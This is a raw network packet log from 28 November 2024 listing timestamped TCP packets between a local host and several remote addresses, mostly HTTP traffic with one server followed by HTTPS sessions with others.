Nov 28, 2024 11:05:36.610321999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.610440016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.610492945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.611346006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.611466885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.612184048 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.612413883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.612515926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.612561941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.613435030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.613600969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.614511967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.614566088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.614639997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.615555048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.615658045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.615704060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.616645098 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.616830111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.617105961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.617676020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.617789030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.618715048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.618771076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.618815899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.619740009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.619780064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.619947910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.620026112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.620877028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.620949984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.621875048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.621920109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.621967077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.622941017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.623040915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.623094082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.623955011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.624075890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.624120951 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.625008106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.625121117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.626064062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.626116991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.626125097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.627127886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.627198935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.627223015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.628199100 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.628226042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.628258944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.628314972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.629410028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.629455090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.629524946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.630775928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.630917072 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.630984068 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.631571054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.631638050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.632113934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.632327080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.632436991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.632476091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.633373022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.633532047 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.633582115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.634411097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.634525061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.635505915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.635574102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.635670900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.635982037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.636573076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.636720896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.637567997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.637626886 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.637655020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.638632059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.638714075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.638773918 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.639666080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.639763117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.640710115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.640763998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.640899897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.641097069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.641819000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.641864061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.642729044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.642782927 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.663198948 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.663214922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.663280964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.663562059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.663676023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.664669991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.664747953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.664823055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.665791988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.665846109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.665884972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.666764021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.666850090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.666908979 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.667845011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.668000937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.668046951 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.668917894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.669053078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.669081926 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.669118881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.669914007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.669970989 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.670002937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.670936108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.670986891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.671039104 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.671967030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.672260046 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.672312975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.672996998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.673147917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.678132057 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.711585045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.711734056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.711745977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.711761951 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.711792946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.711817980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.712528944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.712579012 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.712654114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.713584900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.713694096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.713731050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.714659929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.714766979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.715692043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.715732098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.715744019 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.715821981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.716886997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.717211962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.717319965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.717363119 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.717812061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.717928886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.718836069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.718887091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.718959093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.719901085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.719973087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.720036983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.720910072 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.720980883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.721967936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.722038984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.722131968 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.723007917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.723057032 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.723083973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.723490953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.785913944 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.810133934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.810396910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.810425997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.810441971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.810874939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.811053991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.812124968 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.812134981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.812171936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.812247992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.813317060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.813443899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.813505888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.814410925 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.814526081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.815457106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.815501928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.815649986 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.816582918 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.816674948 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.816730022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.817627907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.817755938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.818120003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.818691969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.818777084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.819489956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.819561958 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.819581032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.821147919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.832046032 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.872096062 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.924339056 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.927716017 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.927755117 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.928339958 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.928345919 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.928967953 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.929007053 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.929562092 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.929570913 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.940330029 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.941459894 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.941483974 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.942081928 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.942085981 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.973787069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.014283895 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.014946938 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.014967918 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.015981913 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.016052008 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.018430948 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.018493891 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.018627882 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.063324928 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.072825909 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.072858095 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.082086086 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.084614038 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:37.084642887 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.085834980 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.085937023 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:37.091976881 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:37.092081070 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.092231035 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:37.092236996 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.093841076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.120584011 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.135952950 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:37.160011053 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.160325050 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.160356045 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.161597013 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.161650896 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.162718058 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.162785053 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.162950993 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.175508022 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.175791025 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.175818920 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.176852942 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.176912069 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.177836895 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.177913904 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.178035975 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.178044081 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.178066969 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.178107977 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.199532032 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.207361937 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.215073109 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.215122938 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.220669985 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.223275900 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.223326921 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.223885059 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.223916054 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.224364042 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.224375010 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.224838018 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.224912882 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.225878000 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.225966930 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.226210117 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.226218939 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.230892897 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.244088888 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.244210005 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.244322062 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.244359016 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.244359970 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.244378090 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.244390011 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.248091936 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.248131990 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.248188972 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.248343945 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.248354912 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.261281013 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.261476040 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.261487007 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.261555910 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.261795044 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.262181997 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.262206078 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.262485981 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.262545109 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.262866974 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.262929916 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.263061047 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.263205051 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.263264894 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.263564110 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.263624907 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.263711929 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.263721943 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.276854038 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.307343006 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.307481050 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.307495117 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.307519913 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.308557987 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.308914900 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.308943033 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.309209108 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.309396982 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.309461117 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.310003042 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.310067892 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.310446024 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.310524940 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.310710907 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.310724974 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.310830116 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.310925961 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.310992002 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.311145067 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.311160088 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.311256886 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.311378956 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.311388016 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.312223911 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.312294006 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.312515974 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.312585115 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.312608957 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.316351891 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.316410065 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.316553116 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.316639900 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.316658974 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.316669941 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.316675901 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.319427013 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.319511890 CET	443	49894	13.107.246.63	192.168.2.7
